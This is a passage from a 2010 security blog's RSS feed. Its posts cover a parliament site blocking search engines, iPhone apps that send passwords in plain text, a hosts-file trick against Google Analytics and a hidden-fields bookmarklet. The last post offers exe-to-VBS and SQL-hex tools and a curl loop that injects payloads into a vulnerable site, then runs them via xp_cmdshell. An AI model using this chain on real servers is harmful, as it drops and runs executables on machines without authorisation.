			<content:encoded><![CDATA[<p>I sometimes surf while using the Googlebot user-agent and often forget to switch back to the default Firefox user-agent. <span id="more-162"></span>While using the Googlebot user-agent, I tried to visit the Greek Parliament web site (http://www.parliament.gr), only to discover that I got a 404 page not found error. Curious I tried the user-agent of two more search engines, only to find that they as well were blocked.<br />
<a href="http://blog.0x0lab.org/wp-content/uploads/2010/05/Screen-shot-2010-05-13-at-17.45.15-.png"><img class="alignnone size-full wp-image-164" title="parliament.gr blocking search engines" src="http://blog.0x0lab.org/wp-content/uploads/2010/05/Screen-shot-2010-05-13-at-17.45.15-.png" alt="" width="504" height="445" /></a><br />
Can someone explain to me why the site that holds all the Greek parliament proceedings does not allow search engines to index their content, making it available to everyone who wants to search for it?</p>
<img src="http://feeds.feedburner.com/~r/0x0lab/~4/r94z9QMK1RA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.0x0lab.org/2010/05/parliament-gr-blocks-search-engines/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.0x0lab.org/2010/05/parliament-gr-blocks-search-engines/</feedburner:origLink></item>
		<item>
		<title>iPhone applications that transmit credentials using “unsafe” protocols</title>
		<link>http://feedproxy.google.com/~r/0x0lab/~3/2IhEoczMtio/</link>
		<comments>http://blog.0x0lab.org/2010/04/unsafe-iphone-applications/#comments</comments>
		<pubDate>Mon, 26 Apr 2010 19:20:20 +0000</pubDate>
		<dc:creator>cirrus</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">https://blog.0x0lab.org/?p=127</guid>
		<description><![CDATA[The iPhone SDK allowed for the creation of thousands of applications. However, some of these applications (probably more than I would like to admit), have not been coded with security in mind. Nowadays a wireless Internet connection is a very common thing, and often people do not understand the dangers of sniffing or man-in-the-middle attacks. [...]]]></description>
			<content:encoded><![CDATA[<p>The iPhone SDK allowed for the creation of thousands of applications. However, some of these applications (probably more than I would like to admit), have not been coded with security in mind.<span id="more-127"></span><br />
Nowadays a wireless Internet connection is a very common thing, and often people do not understand the dangers of sniffing or man-in-the-middle attacks.<br />
A lot of the iPhone applications authenticate themselves on various services (twitter, facebook, ustream, etc.), but care has not been taken to actually transmit credentials (and information) safely and securely using either the phone's wireless or mobile connection. Call me paranoid, but I don't like my credentials, phone number, and any other details for that matter to be send remotely unencrypted.<br />
In this post you can find a list of some iPhone applications that send credentials using plain-text or basic authentication, usually over http:</p>
<p>- <a href="http://itunes.apple.com/us/app/tweetdeck-for-iphone/id318518757?mt=8">Tweetdeck</a> (version: 1.3): Uses http with basic authentication.<br />
<a href="http://blog.0x0lab.org/wp-content/uploads/2010/04/tweetdeck.png"><img src="http://blog.0x0lab.org/wp-content/uploads/2010/04/tweetdeck.png" alt="" title="tweetdeck" width="740" height="163" class="alignnone size-full wp-image-139" /></a></p>
<p>- <a href="http://itunes.apple.com/us/app/id323229106?mt=8">Waze</a> (version: 1.7.0): Uses http, password is plain-text.<br />
<a href="http://blog.0x0lab.org/wp-content/uploads/2010/04/waze.png"><img src="http://blog.0x0lab.org/wp-content/uploads/2010/04/waze.png" alt="" title="waze" width="767" height="245" class="alignnone size-full wp-image-144" /></a></p>
<p>- <a href="http://itunes.apple.com/us/app/ustream-live-broadcaster/id319362690?mt=8">Ustream Live Broadcaster</a> (version: 1.2): Uses http, password is plain-text.<br />
<a href="http://blog.0x0lab.org/wp-content/uploads/2010/04/ustream.png"><img src="http://blog.0x0lab.org/wp-content/uploads/2010/04/ustream.png" alt="" title="ustream" width="765" height="334" class="alignnone size-full wp-image-145" /></a></p>
<p>- <a href="http://itunes.apple.com/us/app/frifi-gps-friend-finder-free/id325469183?mt=8">FriFi</a> (version: 1.6): Uses its own protocol, password is plain-text. The application also transmits the users phone number to the FriFi servers.<br />
<a href="http://blog.0x0lab.org/wp-content/uploads/2010/04/frifi.png"><img src="http://blog.0x0lab.org/wp-content/uploads/2010/04/frifi.png" alt="" title="frifi" width="784" height="129" class="alignnone size-full wp-image-146" /></a></p>
<p>- <a href="http://itunes.apple.com/us/app/knocking-live-video/id335489392?mt=8">Knocking Vid</a> (version: 1.2.1):  Uses http, password is base64 encoded.<br />
<a href="http://blog.0x0lab.org/wp-content/uploads/2010/04/knocking.png"><img src="http://blog.0x0lab.org/wp-content/uploads/2010/04/knocking.png" alt="" title="knocking" width="733" height="149" class="alignnone size-full wp-image-147" /></a></p>
<p>- <a href="http://itunes.apple.com/us/app/gowalla/id304510106?mt=8">Gowalla</a> (version: 2.2.1): Uses http with basic authentication. (More info at <a href="http://martinkou.blogspot.com/2010/08/foursquare-considered-harmful-dont-use.html">Martin Kou's Blog</a>)</p>
<p>- <a href="http://itunes.apple.com/us/app/foursquare/id306934924?mt=8">Foursquare</a> (version: 1.9.1): Uses http with basic authentication. (More info at <a href="http://martinkou.blogspot.com/2010/08/foursquare-considered-harmful-dont-use.html">Martin Kou's Blog</a>)</p>
<p>This list will be updated, whenever I find an application that transmits sensitive information  using "unsafe" protocols.</p>
<img src="http://feeds.feedburner.com/~r/0x0lab/~4/2IhEoczMtio" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.0x0lab.org/2010/04/unsafe-iphone-applications/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://blog.0x0lab.org/2010/04/unsafe-iphone-applications/</feedburner:origLink></item>
		<item>
		<title>How to stop Google Analytics</title>
		<link>http://feedproxy.google.com/~r/0x0lab/~3/Cy_SFtUC9Nk/</link>
		<comments>http://blog.0x0lab.org/2010/03/how-to-stop-google-analytics/#comments</comments>
		<pubDate>Mon, 29 Mar 2010 19:54:57 +0000</pubDate>
		<dc:creator>cirrus</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://blog.0x0lab.org/?p=113</guid>
		<description><![CDATA[Yes I know google owns us, yes I know we are using analytics as well. What you need: - a web server - place the two files in this file in the root of the web server - edit your hosts file and add this entry (where xxx.xxx.xxx.xxx is the IP of your web server): [...]]]></description>
			<content:encoded><![CDATA[<p><small>Yes I know google owns us, yes I know we are using analytics as well.</small></p>
<p>What you need:<br />
- a web server<br />
- place the two files in <a href='http://blog.0x0lab.org/wp-content/uploads/2010/03/analytics.zip'>this file</a> in the root of the web server<br />
- edit your hosts file and add this entry (where xxx.xxx.xxx.xxx is the IP of your web server):<br />
<code>xxx.xxx.xxx.xxx	www.google-analytics.com ssl.google-analytics.com</code></p>
<p>Now every time you visit an analytics-enabled page, the two files from your web server will be included, and all javascript will be executed properly, but google will not track you.</p>
<img src="http://feeds.feedburner.com/~r/0x0lab/~4/Cy_SFtUC9Nk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.0x0lab.org/2010/03/how-to-stop-google-analytics/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://blog.0x0lab.org/2010/03/how-to-stop-google-analytics/</feedburner:origLink></item>
		<item>
		<title>Show hidden fields bookmarklet</title>
		<link>http://feedproxy.google.com/~r/0x0lab/~3/K_TOxydTifo/</link>
		<comments>http://blog.0x0lab.org/2010/03/show-hidden-fields-bookmarklet/#comments</comments>
		<pubDate>Wed, 24 Mar 2010 15:16:30 +0000</pubDate>
		<dc:creator>cirrus</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">https://blogs.0x0lab.org/?p=88</guid>
		<description><![CDATA[Just a quick useful bookmarklet, that shows all the hidden fields in a page. Just bookmark this:]]></description>
			<content:encoded><![CDATA[<p>Just a quick useful bookmarklet, that shows all the hidden fields in a page.<br />
Just bookmark this:<br />
<a href="javascript:var%20is=document.getElementsByTagName('input');for(i=0;i<is.length;i++){if(typeof(is[i].attributes['type'])!='undefined'&#038;&is[i].attributes['type'].value.toLowerCase()=='hidden')%20{var%20newP%20=%20document.createElement('div');if(is[i].name){var%20txt%20=%20is[i].name+'=';}else{var%20txt%20=%20is[i].id+'=';};var%20newT%20=%20document.createTextNode(txt);newP.appendChild(newT);is[i].parentNode.insertBefore(newP,is[i]);is[i].setAttribute('type','text');is[i].setAttribute('style','background-color:red;color:#FFFFFF');}}">Show hidden</a></p>
<img src="http://feeds.feedburner.com/~r/0x0lab/~4/K_TOxydTifo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.0x0lab.org/2010/03/show-hidden-fields-bookmarklet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.0x0lab.org/2010/03/show-hidden-fields-bookmarklet/</feedburner:origLink></item>
		<item>
		<title>Converting an exe file to vbs and back to exe</title>
		<link>http://feedproxy.google.com/~r/0x0lab/~3/VsCQOMw073A/</link>
		<comments>http://blog.0x0lab.org/2010/03/converting-exe-to-vbs/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 16:09:48 +0000</pubDate>
		<dc:creator>cirrus</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">https://blogs.0x0lab.org/?p=81</guid>
		<description><![CDATA[It is often useful to be able to convert an exe file to a string which will be able to reproduce the exe file. This can be used in a variety of ways (send by email, from an SQL injection, etc.). Here you can find two tools. The first is a simple exe to vbs [...]]]></description>
			<content:encoded><![CDATA[<p>It is often useful to be able to convert an exe file to a string which will be able to reproduce the exe file. This can be used in a variety of ways (send by email, from an SQL injection, etc.).<br />
<span id="more-81"></span>Here you can find two tools.<br />
The first is a simple exe to vbs converter. Much like the 'exe2vbs.rb' tool that comes with Metasploit, exe_to_vbs.php will take an exe file as its input and generate a .vbs file, which when executed will write the initial .exe file in the %TEMP% directory (by removing the ' from the last line of the vbs file, it will also execute the exe file).</p>
<p>The second tool can be used in an SQL injection scenario, and will take as input the file generated from the previous tool. Its output will be a number of SQL hex strings (that will run xp_cmdshell to output the file in the %TEMP% directory), that can be used as follows:<br />
<code>for line in `./file_to_sqlhex.php notepad.vbs`; do curl -I "http://injectable.site/sql.asp?query=declare%20@q%20nvarchar(4000);select%20@q=$line;exec(@q);"; done</code><br />
When the above is execute it will generate the notepad.vbs file in %TEMP%. The tool also has a duplicate line detection, avoiding possible overwrites of the file. The vbs can then be easily executed using xp_cmdshell (exec master..xp_cmdshell 'cscript %TEMP%\notepad.vbs //B //Nologo') and will create the exe file in the %TEMP% directory.</p>
<p>Download: <a href="http://blog.0x0lab.org/wp-content/plugins/download-monitor/download.php?id=4" title="Download">exe_to_vb.php</a><br />
Download: <a href="http://blog.0x0lab.org/wp-content/plugins/download-monitor/download.php?id=5" title="Download">file_to_sqlhex.php</a></p>
<img src="http://feeds.feedburner.com/~r/0x0lab/~4/VsCQOMw073A" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.0x0lab.org/2010/03/converting-exe-to-vbs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.0x0lab.org/2010/03/converting-exe-to-vbs/</feedburner:origLink></item>
	</channel>
</rss>
